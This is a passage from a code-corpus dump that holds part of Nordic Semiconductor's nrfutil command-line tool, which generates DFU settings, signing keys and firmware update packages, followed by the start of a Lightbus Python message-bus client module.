convert_version_string_to_int(application_version_string)\n if application_version:\n click.echo('Warning: When both application-version-string and application-version are provided, only the string will be used.')\n else:\n application_version_internal = application_version\n\n if application is not None:\n if not os.path.isfile(application):\n raise click.FileError(application, hint=\"Application file not found\")\n if application_version_internal is None:\n raise click.UsageError('--application-version or --application-version-string'\n ' required with application image.')\n\n if (no_backup is not None) and (backup_address is not None):\n raise click.BadParameter(\"Bootloader DFU settings backup page cannot be specified if backup is disabled.\", param_hint='backup_address')\n\n if no_backup is None:\n no_backup = False\n\n if no_backup is False:\n display_settings_backup_warning()\n\n if (start_address is not None) and (backup_address is None):\n click.echo(\"WARNING: Using default offset in order to calculate bootloader settings backup page\")\n\n if bl_settings_version == 1 and (app_boot_validation or sd_boot_validation):\n raise click.BadParameter(\"Bootloader settings version 1 does not support boot validation.\", param_hint='bl_settings_version')\n\n # load signing key (if needed) only once\n if 'VALIDATE_ECDSA_P256_SHA256' in (app_boot_validation, sd_boot_validation):\n if not os.path.isfile(key_file):\n raise click.UsageError(\"Key file must be given when 'VALIDATE_ECDSA_P256_SHA256' boot validation is used\")\n signer = Signing()\n default_key = signer.load_key(key_file)\n if default_key:\n display_sec_warning()\n else:\n signer = None\n\n if app_boot_validation and not application:\n raise click.UsageError(\"--application hex file must be set when using --app_boot_validation\")\n\n if sd_boot_validation and not softdevice:\n raise click.UsageError(\"--softdevice hex file must be set when using --sd_boot_validation\")\n\n # Default boot validation cases\n if app_boot_validation is None and application is not None and bl_settings_version == 2:\n app_boot_validation = DEFAULT_BOOT_VALIDATION\n if sd_boot_validation is None and softdevice is not None and bl_settings_version == 2:\n sd_boot_validation = DEFAULT_BOOT_VALIDATION\n\n sett = BLDFUSettings()\n sett.generate(arch=family, app_file=application, app_ver=application_version_internal, bl_ver=bootloader_version,\n bl_sett_ver=bl_settings_version, custom_bl_sett_addr=start_address, no_backup=no_backup,\n backup_address=backup_address, app_boot_validation_type=app_boot_validation,\n sd_boot_validation_type=sd_boot_validation, sd_file=softdevice, signer=signer)\n sett.tohexfile(hex_file)\n\n click.echo(\"\\nGenerated Bootloader DFU settings .hex file and stored it in: {}\".format(hex_file))\n\n click.echo(\"{0}\".format(str(sett)))\n\n@settings.command(short_help='Display the contents of a .hex file with Bootloader DFU settings.')\n@click.argument('hex_file', required=True, type=click.Path())\n\ndef display(hex_file):\n\n sett = BLDFUSettings()\n try:\n sett.fromhexfile(hex_file)\n except NordicSemiException as err:\n raise click.UsageError(err)\n\n click.echo(\"{0}\".format(str(sett)))\n\n\n@cli.group(short_help='Generate and display private and public keys.')\ndef keys():\n \"\"\"\n This set of commands supports creating and displaying a private (signing) key\n as well as displaying the public (verification) key derived from a private key.\n Private keys are stored in PEM format.\n \"\"\"\n pass\n\n@keys.command(short_help='Generate a private key and store it in a file in PEM format.')\n@click.argument('key_file', required=True, type=click.Path())\n\ndef generate(key_file):\n signer = Signing()\n\n if os.path.exists(key_file):\n if not query_func(\"File found at %s. Do you want to overwrite the file?\" % key_file):\n click.echo('Key generation aborted.')\n return\n\n signer.gen_key(key_file)\n click.echo(\"Generated private key and stored it in: %s\" % key_file)\n\n@keys.command(short_help='Display the private key that is stored in a file in PEM format or a public key derived from it.')\n@click.argument('key_file', required=True, type=click.Path())\n@click.option('--key',\n help='(pk|sk) Display the public key (pk) or the private key (sk).',\n type=click.Choice(KEY_CHOICE),\n required=True)\n@click.option('--format',\n help='(hex|code|pem) Display the key in hexadecimal format (hex), C code (code), or PEM (pem) format.',\n type=click.Choice(KEY_FORMAT),\n required=True)\n@click.option('--out_file',\n help='If provided, save the output in file out_file.',\n type=click.STRING)\n\ndef display(key_file, key, format, out_file):\n signer = Signing()\n\n if not os.path.isfile(key_file):\n raise NordicSemiException(\"File not found: %s\" % key_file)\n\n default_key = signer.load_key(key_file)\n if default_key:\n display_sec_warning()\n\n if format == \"dbgcode\":\n format = \"code\"\n dbg = True\n else:\n dbg = False\n\n if format == \"code\" and key == \"sk\":\n raise click.UsageError(\"Displaying the private key as code is not available.\")\n\n if key == \"pk\":\n kstr = signer.get_vk(format, dbg)\n elif key == \"sk\":\n kstr = \"\\nWARNING: Security risk! Do not share the private key.\\n\\n\"\n kstr = kstr + signer.get_sk(format, dbg)\n\n if not out_file:\n click.echo(kstr)\n else:\n with open(out_file, \"w\") as kfile:\n kfile.write(kstr)\n\n\n@cli.group(short_help='Display or generate a DFU package (zip file).')\ndef pkg():\n \"\"\"\n This set of commands supports Nordic DFU package generation.\n \"\"\"\n pass\n\n\n@pkg.command(short_help='Generate a zip file for performing DFU.')\n@click.argument('zipfile',\n required=True,\n type=click.Path())\n@click.option('--debug-mode',\n help='Debug mode switch, enables version check skipping.',\n type=click.BOOL,\n default=False,\n is_flag=True)\n@click.option('--application',\n help='The application firmware file.',\n type=click.STRING)\n@click.option('--application-version',\n help='The application version.',\n type=BASED_INT_OR_NONE)\n@click.option('--application-version-string',\n help='The application version string, e.g. \"2.7.31\". Will be converted to an integer, e.g. 207031.',\n type=click.STRING)\n@click.option('--bootloader',\n help='The bootloader firmware file.',\n type=click.STRING)\n@click.option('--bootloader-version',\n help='The bootloader version.',\n type=BASED_INT_OR_NONE)\n@click.option('--hw-version',\n help='The hardware version.',\n required=False,\n type=BASED_INT)\n@click.option('--sd-req',\n help='The SoftDevice requirements. A comma-separated list of SoftDevice firmware IDs '\n '(1 or more) of which one must be present on the target device. Each item on the '\n 'list must be a two- or four-digit hex number prefixed with \\\"0x\\\" (e.g. \\\"0x12\\\", '\n '\\\"0x1234\\\").\\n'\n 'A non-exhaustive list of well-known values to use with this option follows:'\n '\\n|s112_nrf52_6.0.0|0xA7|'\n '\\n|s112_nrf52_6.1.0|0xB0|'\n '\\n|s112_nrf52_6.1.1|0xB8|'\n '\\n|s112_nrf52_7.0.0|0xC4|'\n '\\n|s112_nrf52_7.0.1|0xCD|'\n '\\n|s113_nrf52_7.0.0|0xC3|'\n '\\n|s113_nrf52_7.0.1|0xCC|'\n '\\n|s130_nrf51_1.0.0|0x67|'\n '\\n|s130_nrf51_2.0.0|0x80|'\n '\\n|s132_nrf52_2.0.0|0x81|'\n '\\n|s130_nrf51_2.0.1|0x87|'\n '\\n|s132_nrf52_2.0.1|0x88|'\n '\\n|s132_nrf52_3.0.0|0x8C|'\n '\\n|s132_nrf52_3.1.0|0x91|'\n '\\n|s132_nrf52_4.0.0|0x95|'\n '\\n|s132_nrf52_4.0.2|0x98|'\n '\\n|s132_nrf52_4.0.3|0x99|'\n '\\n|s132_nrf52_4.0.4|0x9E|'\n '\\n|s132_nrf52_4.0.5|0x9F|'\n '\\n|s132_nrf52_5.0.0|0x9D|'\n '\\n|s132_nrf52_5.1.0|0xA5|'\n '\\n|s132_nrf52_6.0.0|0xA8|'\n '\\n|s132_nrf52_6.1.0|0xAF|'\n '\\n|s132_nrf52_6.1.1|0xB7|'\n '\\n|s132_nrf52_7.0.0|0xC2|'\n '\\n|s132_nrf52_7.0.1|0xCB|'\n '\\n|s140_nrf52_6.0.0|0xA9|'\n '\\n|s140_nrf52_6.1.0|0xAE|'\n '\\n|s140_nrf52_6.1.1|0xB6|'\n '\\n|s140_nrf52_7.0.0|0xC1|'\n '\\n|s140_nrf52_7.0.1|0xCA|'\n '\\n|s212_nrf52_6.1.1|0xBC|'\n '\\n|s332_nrf52_6.1.1|0xBA|'\n '\\n|s340_nrf52_6.1.1|0xB9|',\n type=click.STRING,\n required=False,\n multiple=True)\n@click.option('--sd-id',\n help='The new SoftDevice ID to be used as --sd-req for the Application update in case the ZIP '\n 'contains a SoftDevice and an Application.',\n type=click.STRING,\n multiple=True)\n@click.option('--softdevice',\n help='The SoftDevice firmware file.',\n type=click.STRING)\n@click.option('--sd-boot-validation',\n help='The method of boot validation for Softdevice.',\n required=False,\n type=click.Choice(BOOT_VALIDATION_ARGS))\n@click.option('--app-boot-validation',\n help='The method of boot validation for application.',\n required=False,\n type=click.Choice(BOOT_VALIDATION_ARGS))\n@click.option('--key-file',\n help='The private (signing) key in PEM format.',\n required=False,\n type=click.Path(exists=True, resolve_path=True, file_okay=True, dir_okay=False))\n@click.option('--external-app',\n help='Indicates that the FW upgrade is intended to be passed through '\n '(not applied on the receiving device)',\n type=click.BOOL, is_flag=True, default=False)\n@click.option('--zigbee',\n help='Create an image and distribution package for Zigbee DFU server.',\n required=False,\n type=click.BOOL)\n@click.option('--zigbee-manufacturer-id',\n help='Manufacturer ID to be used in Zigbee OTA header.',\n required=False,\n type=BASED_INT)\n@click.option('--zigbee-image-type',\n help='Image type to be used in Zigbee OTA header.',\n required=False,\n type=BASED_INT)\n@click.option('--zigbee-comment',\n help='Firmware comment to be used in Zigbee OTA header.',\n required=False,\n type=click.STRING)\n@click.option('--zigbee-ota-hw-version',\n help='The zigbee OTA hw version.',\n required=False,\n type=BASED_INT_OR_NONE)\n@click.option('--zigbee-ota-fw-version',\n help='The zigbee OTA fw version.',\n required=False,\n type=BASED_INT_OR_NONE)\n@click.option('--zigbee-ota-min-hw-version',\n help='The zigbee OTA minimum hw version of Zigbee OTA Client.',\n required=False,\n type=BASED_INT_OR_NONE)\n@click.option('--zigbee-ota-max-hw-version',\n help='The zigbee OTA maximum hw version of Zigbee OTA Client.',\n required=False,\n type=BASED_INT_OR_NONE)\ndef generate(zipfile,\n debug_mode,\n application,\n application_version,\n application_version_string,\n bootloader,\n bootloader_version,\n hw_version,\n sd_req,\n sd_id,\n softdevice,\n sd_boot_validation,\n app_boot_validation,\n key_file,\n external_app,\n zigbee,\n zigbee_manufacturer_id,\n zigbee_image_type,\n zigbee_comment,\n zigbee_ota_hw_version,\n zigbee_ota_fw_version,\n zigbee_ota_min_hw_version,\n zigbee_ota_max_hw_version):\n \"\"\"\n Generate a zip package for distribution to apps that support Nordic DFU OTA.\n The application, bootloader, and SoftDevice files are converted to .bin if supplied as .hex files.\n For more information on the generated package, see:\n http://developer.nordicsemi.com/nRF5_SDK/doc/\n\n The following combinations are supported by this command:\n\n * BL only: Supported.\n\n * SD only: Supported (SD of same Major Version).\n\n * APP only: Supported (external or internal).\n\n * BL + SD: Supported.\n\n * BL + APP: Not supported (use two packages instead).\n\n * BL + SD + APP: Supported.\n\n * SD + APP: Supported (SD of same Major Version).\n \"\"\"\n zipfile_path = zipfile\n\n # Check combinations\n if bootloader is not None and application is not None and softdevice is None:\n raise click.UsageError(\"Invalid combination: use two .zip packages instead.\")\n\n if debug_mode is None:\n debug_mode = False\n\n # The user can specify the application version with two different\n # formats. As an integer, e.g. 102130, or as a string\n # \"10.21.30\". Internally we convert to integer.\n if application_version_string:\n application_version_internal = convert_version_string_to_int(application_version_string)\n if application_version:\n click.echo('Warning: When both application-version-string and application-version are provided, only the string will be used.')\n else:\n application_version_internal = application_version\n\n if application_version_internal == 'none':\n application_version_internal = None\n\n if bootloader_version == 'none':\n bootloader_version = None\n\n if hw_version == 'none':\n hw_version = None\n\n if external_app is None:\n external_app = False\n\n if zigbee_ota_hw_version == 'none':\n zigbee_ota_hw_version = None\n\n if zigbee_ota_fw_version == 'none':\n zigbee_ota_fw_version = None\n\n # Convert multiple value into a single instance\n if len(sd_req) > 1:\n raise click.BadParameter(\"Please specify SoftDevice requirements as a comma-separated list: --sd-req 0xXXXX,0xYYYY,...\", param_hint='sd_req')\n elif len(sd_req) == 0:\n sd_req = None\n else:\n sd_req = sd_req[0]\n if sd_req == 'none':\n sd_req = None\n\n if len(sd_id) > 1:\n raise click.BadParameter(\"Please specify SoftDevice requirements as a comma-separated list: --sd-id 0xXXXX,0xYYYY,...\", param_hint='sd_req')\n elif len(sd_id) == 0:\n sd_id = None\n else:\n sd_id = sd_id[0]\n if sd_id == 'none':\n sd_id = None\n\n # Initial consistency checks\n if application_version_internal is not None and application is None:\n raise click.UsageError(\"Application version with no image.\")\n\n if bootloader_version is not None and bootloader is None:\n raise click.UsageError(\"Bootloader version with no image.\")\n\n if debug_mode:\n display_debug_warning()\n # Default to no version checking\n if application_version_internal is None:\n application_version_internal=Package.DEFAULT_APP_VERSION\n if bootloader_version is None:\n bootloader_version=Package.DEFAULT_BL_VERSION\n if hw_version is None:\n hw_version=Package.DEFAULT_HW_VERSION\n if sd_req is None:\n # Use string as this will be mapped into an int below\n sd_req=str(Package.DEFAULT_SD_REQ[0])\n\n # Version checks\n if hw_version is None:\n raise click.UsageError(\"--hw-version required.\")\n\n if sd_req is None and external_app is False:\n raise click.UsageError(\"--sd-req required.\")\n\n if application is not None and application_version_internal is None:\n raise click.UsageError('--application-version or --application-version-string'\n ' required with application image.')\n\n if bootloader is not None and bootloader_version is None:\n raise click.UsageError(\"--bootloader-version required with bootloader image.\")\n\n # Zigbee only allows App, SoftDevice (minor), bootloader or Softdevice+bootloader\n if zigbee:\n if sum(bool(x) for x in [application, softdevice, bootloader]) != 1:\n click.echo('Error: Provide either --application, --softdevice, or --bootloader'\n ' for Zigbee package generation (not a combination).')\n\n if application is not None and softdevice is not None and sd_id is None:\n raise click.UsageError(\"--sd-id required with softdevice and application images.\")\n\n if application is None and external_app is True:\n raise click.UsageError(\"--external-app requires an application.\")\n\n if application is not None and softdevice is not None and external_app is True:\n raise click.UsageError(\"--external-app is only possible for application only DFU packages.\")\n\n if application is not None and bootloader is not None and external_app is True:\n raise click.UsageError(\"--external-app is only possible for application only DFU packages.\")\n\n if zigbee and zigbee_ota_hw_version is None:\n raise click.UsageError(\"--zigbee-ota-hw-version is required.\")\n\n if zigbee and zigbee_ota_fw_version is None:\n zigbee_ota_fw_version = 0\n\n sd_req_list = []\n if sd_req is not None:\n try:\n # This will parse any string starting with 0x as base 16.\n sd_req_list = sd_req.split(',')\n sd_req_list = list(map(int_as_text_to_int, sd_req_list))\n except ValueError:\n raise NordicSemiException(\"Could not parse value for --sd-req. \"\n \"Hex values should be prefixed with 0x.\")\n\n sd_id_list = []\n if sd_id is not None:\n try:\n # This will parse any string starting with 0x as base 16.\n sd_id_list = sd_id.split(',')\n sd_id_list = list(map(int_as_text_to_int, sd_id_list))\n\n # Copy all IDs from sd_id_list to sd_req_list, without duplicates.\n # This ensures that the softdevice update can be repeated in case\n # SD+(BL)+App update terminates during application update after the\n # softdevice was already updated (with new ID). Such update would\n # have to be repeated and the softdevice would have to be sent again,\n # this time updating itself.\n sd_req_list += set(sd_id_list) - set(sd_req_list)\n except ValueError:\n raise NordicSemiException(\"Could not parse value for --sd-id. \"\n \"Hex values should be prefixed with 0x.\")\n else:\n sd_id_list = sd_req_list\n\n if key_file is None:\n display_nokey_warning()\n signer = None\n else:\n signer = Signing()\n default_key = signer.load_key(key_file)\n if default_key:\n display_sec_warning()\n\n if zigbee_comment is None:\n zigbee_comment = ''\n elif any(ord(char) > 127 for char in zigbee_comment): # Check if all the characters belong to the ASCII range\n click.echo('Warning: Non-ASCII characters in the comment are not allowed. Discarding comment.')\n zigbee_comment = ''\n elif len(zigbee_comment) > 30:\n click.echo('Warning: truncating the comment to 30 bytes.')\n zigbee_comment = zigbee_comment[:30]\n\n if zigbee_manufacturer_id is None:\n zigbee_manufacturer_id = 0xFFFF\n\n if zigbee_image_type is None:\n zigbee_image_type = 0xFFFF\n\n # Set the external_app to false in --zigbee is set\n inner_external_app = external_app\n if zigbee:\n inner_external_app = False\n\n if zigbee_ota_min_hw_version is not None and zigbee_ota_min_hw_version > 0xFFFF:\n raise click.BadParameter('Exceeds 2-byte long integer.', param_hint='zigbee-ota-min-hw-version')\n\n if zigbee_ota_max_hw_version is not None and zigbee_ota_max_hw_version > 0xFFFF:\n raise click.BadParameter('Exceeds 2-byte long integer.', param_hint='zigbee-ota-max-hw-version')\n\n if zigbee and (hw_version > 0xFFFF):\n raise click.BadParameter('Exceeds 2-byte long integer.', param_hint='hw-version')\n\n # Warn user if minimal/maximum zigbee ota hardware version are not correct:\n # * only one of them is given\n # * minimum version is higher than maximum version\n # * hw_version is inside the range specified by minimum and maximum hardware version\n if (type(zigbee_ota_min_hw_version) is int) != (type(zigbee_ota_max_hw_version) is int):\n click.echo('Warning: min/max zigbee ota hardware version is missing. Discarding min/max hardware version.')\n elif type(zigbee_ota_min_hw_version) is int:\n if zigbee_ota_min_hw_version > zigbee_ota_max_hw_version:\n click.echo('Warning: zigbee-ota-min-hw-version is higher than zigbee-ota-max-hw-version.')\n if (hw_version > zigbee_ota_max_hw_version) or (hw_version < zigbee_ota_min_hw_version):\n click.echo('Warning: hw-version is outside the specified range specified by zigbee_ota_min_hw_version and zigbee_ota_max_hw_version.')\n\n # Generate a DFU package. If --zigbee is set this is the inner DFU package\n # which will be used as a binary input to the outer DFU package\n package = Package(debug_mode,\n hw_version,\n application_version_internal,\n bootloader_version,\n sd_req_list,\n sd_id_list,\n application,\n bootloader,\n softdevice,\n sd_boot_validation,\n app_boot_validation,\n signer,\n inner_external_app,\n zigbee,\n zigbee_manufacturer_id,\n zigbee_image_type,\n zigbee_comment,\n zigbee_ota_min_hw_version,\n zigbee_ota_max_hw_version)\n\n package.generate_package(zipfile_path)\n\n if zigbee:\n from shutil import copyfile\n from os import remove\n\n log_message = \"Zigbee update created at {0}\".format(package.zigbee_ota_file.filename)\n click.echo(log_message)\n\n # Taking the inner Zigbee package as input for the outer DFU package\n binfile = package.zigbee_ota_file.filename.replace(\".zigbee\", \".bin\")\n copyfile(package.zigbee_ota_file.filename, binfile)\n\n # Create the outer Zigbee DFU package.\n package = Package(debug_mode,\n zigbee_ota_hw_version,\n zigbee_ota_fw_version,\n None,\n [0xFFFE],\n [0xFFFE],\n binfile,\n None,\n None,\n None,\n None,\n signer,\n True)\n\n package.generate_package(zipfile_path)\n remove(binfile)\n\n log_message = \"Zip created at {0}\".format(zipfile_path)\n click.echo(log_message)\n\n@pkg.command(short_help='Display the contents of a .zip package file.')\n@click.argument('zip_file', required=True, type=click.Path())\n\ndef display(zip_file):\n\n package = Package()\n package.parse_package(zip_file, preserve_work_dir=True)\n\n click.echo(\"{0}\".format(str(package)))\n\nglobal_bar = None\ndef update_progress(progress=0):\n if global_bar:\n global_bar.update(progress)\n\nif __name__ == '__main__':\n cli()\n","sub_path":"nordicsemi/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":37629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"235843767","text":"import logging\nfrom asyncio.coroutines import CoroWrapper\nfrom asyncio.futures import CancelledError\nfrom datetime import datetime\nfrom typing import Any, Optional, Callable\n\nimport asyncio\n\nimport time\n\nfrom lightbus.exceptions import InvalidEventArguments, InvalidBusNodeConfiguration, UnknownApi, EventNotFound, \\\n InvalidEventListener, SuddenDeathException, LightbusTimeout, LightbusServerError\nfrom lightbus.internal_apis import LightbusStateApi, LightbusMetricsApi\nfrom lightbus.log import LBullets, L, Bold\nfrom lightbus.message import RpcMessage, ResultMessage, EventMessage\nfrom lightbus.api import registry\nfrom lightbus.plugins import autoload_plugins, plugin_hook, manually_set_plugins\nfrom lightbus.transports import RpcTransport, ResultTransport, EventTransport, RedisRpcTransport, \\\n RedisResultTransport, RedisEventTransport\nfrom lightbus.utilities import handle_aio_exceptions, human_time, block, generate_process_name\n\n__all__ = ['BusClient', 'BusNode', 'create']\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass BusClient(object):\n\n def __init__(self, rpc_transport: 'RpcTransport', result_transport: 'ResultTransport',\n event_transport: 'EventTransport', process_name: str=''):\n self.rpc_transport = rpc_transport\n self.result_transport = result_transport\n self.event_transport = event_transport\n self.process_name = process_name or generate_process_name()\n self._listeners = {}\n\n def setup(self, plugins: dict=None):\n \"\"\"Setup lightbus and get it ready to consume events and/or RPCs\n\n You should call this manually if you are calling `consume_rpcs()` or\n `consume_events()` directly. This you be handled for you if you are\n calling `run_forever()`.\n \"\"\"\n if plugins is None:\n logger.debug(\"Auto-loading any installed Lightbus plugins...\")\n plugins = autoload_plugins()\n else:\n logger.debug(\"Loading explicitly specified Lightbus plugins....\")\n manually_set_plugins(plugins)\n\n if plugins:\n logger.info(LBullets(\"Loaded the following plugins ({})\".format(len(plugins)), items=plugins))\n else:\n logger.info(\"No plugins loaded\")\n\n def run_forever(self, *, loop=None, consume_rpcs=True, consume_events=True, plugins=None):\n logger.info(LBullets(\n \"Lightbus getting ready to run. Brokers in use\",\n items={\n \"RPC transport\": L(\n '{}.{}',\n self.rpc_transport.__module__, Bold(self.rpc_transport.__class__.__name__)\n ),\n \"Result transport\": L(\n '{}.{}', self.result_transport.__module__,\n Bold(self.result_transport.__class__.__name__)\n ),\n \"Event transport\": L(\n '{}.{}', self.event_transport.__module__,\n Bold(self.event_transport.__class__.__name__)\n ),\n }\n ))\n\n self.setup(plugins=plugins)\n registry.add(LightbusStateApi())\n registry.add(LightbusMetricsApi())\n\n if consume_rpcs:\n if registry.public():\n logger.info(LBullets(\n \"APIs in registry ({})\".format(len(registry.all())),\n items=registry.all()\n ))\n else:\n if consume_events:\n logger.warning(\n \"No APIs have been registered, lightbus may still receive events \"\n \"but Lightbus will not handle any incoming RPCs\"\n )\n else:\n logger.error(\n \"No APIs have been registered, yet Lightbus has been configured to only \"\n \"handle RPCs. There is therefore nothing for lightbus to do. Exiting.\"\n )\n return\n\n block(handle_aio_exceptions(\n plugin_hook('before_server_start', bus_client=self, loop=loop)\n ), timeout=5)\n\n loop = loop or asyncio.get_event_loop()\n self._run_forever(loop, consume_rpcs, consume_events)\n\n loop.run_until_complete(handle_aio_exceptions(\n plugin_hook('after_server_stopped', bus_client=self, loop=loop)\n ))\n\n def _run_forever(self, loop, consume_rpcs, consume_events):\n if consume_rpcs and registry.all():\n asyncio.ensure_future(handle_aio_exceptions(self.consume_rpcs()), loop=loop)\n if consume_events:\n asyncio.ensure_future(handle_aio_exceptions(self.consume_events()), loop=loop)\n\n try:\n loop.run_forever()\n except KeyboardInterrupt:\n logger.error('Keyboard interrupt. Shutting down...')\n finally:\n for task in asyncio.Task.all_tasks():\n task.cancel()\n\n # RPCs\n\n async def consume_rpcs(self, apis=None):\n if apis is None:\n apis = registry.all()\n\n while True:\n rpc_messages = await self.rpc_transport.consume_rpcs(apis)\n for rpc_message in rpc_messages:\n await plugin_hook('before_rpc_execution', rpc_message=rpc_message, bus_client=self)\n try:\n result = await self.call_rpc_local(\n api_name=rpc_message.api_name,\n name=rpc_message.procedure_name,\n kwargs=rpc_message.kwargs\n )\n except SuddenDeathException:\n # Used to simulate message failure for testing\n pass\n else:\n result_message = ResultMessage(result=result, rpc_id=rpc_message.rpc_id)\n await plugin_hook('after_rpc_execution', rpc_message=rpc_message, result_message=result_message,\n bus_client=self)\n await self.send_result(rpc_message=rpc_message, result_message=result_message)\n\n async def call_rpc_remote(self, api_name: str, name: str, kwargs: dict, options: dict):\n rpc_message = RpcMessage(api_name=api_name, procedure_name=name, kwargs=kwargs)\n return_path = self.result_transport.get_return_path(rpc_message)\n rpc_message.return_path = return_path\n options = options or {}\n timeout = options.get('timeout', 5)\n\n logger.info(\"➡ Calling remote RPC \".format(rpc_message))\n\n start_time = time.time()\n # TODO: It is possible that the RPC will be called before we start waiting for the response. This is bad.\n\n future = asyncio.gather(\n self.receive_result(rpc_message, return_path, options=options),\n self.rpc_transport.call_rpc(rpc_message, options=options),\n )\n\n await plugin_hook('before_rpc_call', rpc_message=rpc_message, bus_client=self)\n\n try:\n result_message, _ = await asyncio.wait_for(future, timeout=timeout)\n except asyncio.TimeoutError:\n future.cancel()\n # TODO: Include description of possible causes and how to increase the timeout.\n # TODO: Remove RPC from queue. Perhaps add a RpcBackend.cancel() method. Optional,\n # as not all backends will support it. No point processing calls which have timed out.\n raise LightbusTimeout('Timeout when calling RPC {} after {} seconds'.format(\n rpc_message.canonical_name, timeout\n )) from None\n\n await plugin_hook('after_rpc_call', rpc_message=rpc_message, result_message=result_message, bus_client=self)\n\n if not result_message.error:\n logger.info(L(\"⚡ Remote call of {} completed in {}\", Bold(rpc_message.canonical_name), human_time(time.time() - start_time)))\n else:\n logger.warning(\n L(\"⚡ Server error during remote call of {}. Took {}: {}\",\n Bold(rpc_message.canonical_name),\n human_time(time.time() - start_time),\n result_message.result,\n ),\n )\n raise LightbusServerError('Error while calling {}: {}\\nRemote stack trace:\\n{}'.format(\n rpc_message.canonical_name,\n result_message.result,\n result_message.trace,\n ))\n\n return result_message.result\n\n async def call_rpc_local(self, api_name: str, name: str, kwargs: dict):\n api = registry.get(api_name)\n start_time = time.time()\n try:\n result = await api.call(name, kwargs)\n except (CancelledError, SuddenDeathException):\n raise\n except Exception as e:\n logger.warning(L(\"⚡ Error while executing {}.{}. Took {}\", Bold(api_name), Bold(name), human_time(time.time() - start_time)))\n return e\n else:\n logger.info(L(\"⚡ Executed {}.{} in {}\", Bold(api_name), Bold(name), human_time(time.time() - start_time)))\n return result\n\n # Events\n\n async def consume_events(self):\n while True:\n try:\n logging.warning(\"Calling _consume_events_once()\")\n await self._consume_events_once()\n except CancelledError:\n return\n except BaseException as e:\n logging.warning(\"Exception calling _consume_events_once()\")\n logging.exception(e)\n raise\n else:\n logging.warning(\"Done calling _consume_events_once()\")\n\n async def _consume_events_once(self):\n try:\n async with self.event_transport.consume_events() as event_messages:\n for event_message in event_messages:\n await plugin_hook('before_event_execution', event_message=event_message, bus_client=self)\n key = (event_message.api_name, event_message.event_name)\n for listener in self._listeners.get(key, []):\n # TODO: Run in parallel/gathered?\n co = listener(**event_message.kwargs)\n if isinstance(co, (CoroWrapper, asyncio.Future)):\n await co\n await plugin_hook('after_event_execution', event_message=event_message, bus_client=self)\n\n except SuddenDeathException:\n # Useful for simulating crashes in testing.\n logger.info('Sudden death while holding {} messages'.format(len(event_messages)))\n return\n\n async def fire_event(self, api_name, name, kwargs: dict=None, options: dict=None):\n kwargs = kwargs or {}\n try:\n api = registry.get(api_name)\n except UnknownApi:\n raise UnknownApi(\n \"Lightbus tried to fire the event {api_name}.{name}, but could not find API {api_name} in the \"\n \"registry. An API being in the registry implies you are an authority on that API. Therefore, \"\n \"Lightbus requires the API to be in the registry as it is a bad idea to fire \"\n \"events on behalf of remote APIs. However, this could also be caused by a typo in the \"\n \"API name or event name, or be because the API class has not been \"\n \"imported. \".format(**locals())\n )\n\n try:\n event = api.get_event(name)\n except EventNotFound:\n raise EventNotFound(\n \"Lightbus tried to fire the event {api_name}.{name}, but the API {api_name} does not \"\n \"seem to contain an event named {name}. You may need to define the event, you \"\n \"may also be using the incorrect API. Also check for typos.\".format(**locals())\n )\n\n if set(event.arguments) != set(kwargs.keys()):\n raise InvalidEventArguments(\n \"Invalid event arguments supplied when firing event. Attempted to fire event with \"\n \"{} arguments: {}. Event expected {}: {}\".format(\n len(kwargs), sorted(kwargs.keys()),\n len(event.arguments), sorted(event.arguments),\n )\n )\n\n event_message = EventMessage(api_name=api.meta.name, event_name=name, kwargs=kwargs)\n await plugin_hook('before_event_sent', event_message=event_message, bus_client=self)\n await self.event_transport.send_event(event_message, options=options)\n await plugin_hook('after_event_sent', event_message=event_message, bus_client=self)\n\n async def listen_for_event(self, api_name, name, listener, options: dict=None):\n if not callable(listener):\n raise InvalidEventListener(\n \"The specified listener '{}' is not callable. Perhaps you called the function rather \"\n \"than passing the function itself?\".format(listener)\n )\n\n key = (api_name, name)\n self._listeners.setdefault(key, [])\n self._listeners[key].append(listener)\n await self.event_transport.start_listening_for(api_name, name, options=options)\n\n # Results\n\n async def send_result(self, rpc_message: RpcMessage, result_message: ResultMessage):\n return await self.result_transport.send_result(rpc_message, result_message, rpc_message.return_path)\n\n async def receive_result(self, rpc_message: RpcMessage, return_path: str, options: dict):\n return await self.result_transport.receive_result(rpc_message, return_path, options)\n\n\nclass BusNode(object):\n\n def __init__(self, name: str, *, parent: Optional['BusNode'], bus_client: BusClient):\n if not parent and name:\n raise InvalidBusNodeConfiguration(\"Root client node may not have a name\")\n self.name = name\n self.parent = parent\n self.bus_client = bus_client\n\n def __getattr__(self, item) -> 'BusNode':\n return self.__class__(name=item, parent=self, bus_client=self.bus_client)\n\n def __str__(self):\n return self.fully_qualified_name\n\n def __repr__(self):\n return ''.format(self.fully_qualified_name)\n\n # RPC\n\n def __call__(self, **kwargs):\n return self.call(**kwargs)\n\n def call(self, *, bus_options=None, **kwargs):\n return block(self.call_async(**kwargs, bus_options=bus_options), timeout=1)\n\n async def call_async(self, *, bus_options=None, **kwargs):\n return await self.bus_client.call_rpc_remote(\n api_name=self.api_name, name=self.name, kwargs=kwargs, options=bus_options\n )\n\n # Events\n\n async def listen_async(self, listener, *, bus_options: dict=None):\n return await self.bus_client.listen_for_event(\n api_name=self.api_name, name=self.name, listener=listener, options=bus_options\n )\n\n def listen(self, listener, *, bus_options: dict=None):\n return block(self.listen_async(listener, bus_options=bus_options), timeout=5)\n\n async def fire_async(self, *, bus_options: dict=None, **kwargs):\n return await self.bus_client.fire_event(\n api_name=self.api_name, name=self.name, kwargs=kwargs, options=bus_options\n )\n\n def fire(self, *, bus_options: dict=None, **kwargs):\n return block(self.fire_async(**kwargs, bus_options=bus_options), timeout=5)\n\n # Utilities\n\n def ancestors(self, include_self=False):\n parent = self\n while parent is not None:\n if parent != self or include_self:\n yield parent\n parent = parent.parent\n\n def run_forever(self, loop=None, consume_rpcs=True, consume_events=True, plugins=None):\n self.bus_client.run_forever(loop=loop, consume_rpcs=consume_rpcs, consume_events=consume_events, plugins=None)\n\n @property\n def api_name(self):\n path = [node.name for node in self.ancestors(include_self=False)]\n path.reverse()\n return '.'.join(path[1:])\n\n @property\n def fully_qualified_name(self):\n path = [node.name for node in self.ancestors(include_self=True)]\n path.reverse()\n return '.'.join(path[1:])\n\n\ndef create(\n rpc_transport: Optional['RpcTransport'] = None,\n result_transport: Optional['ResultTransport'] = None,\n event_transport: Optional['EventTransport'] = None,\n client_class=BusClient,\n 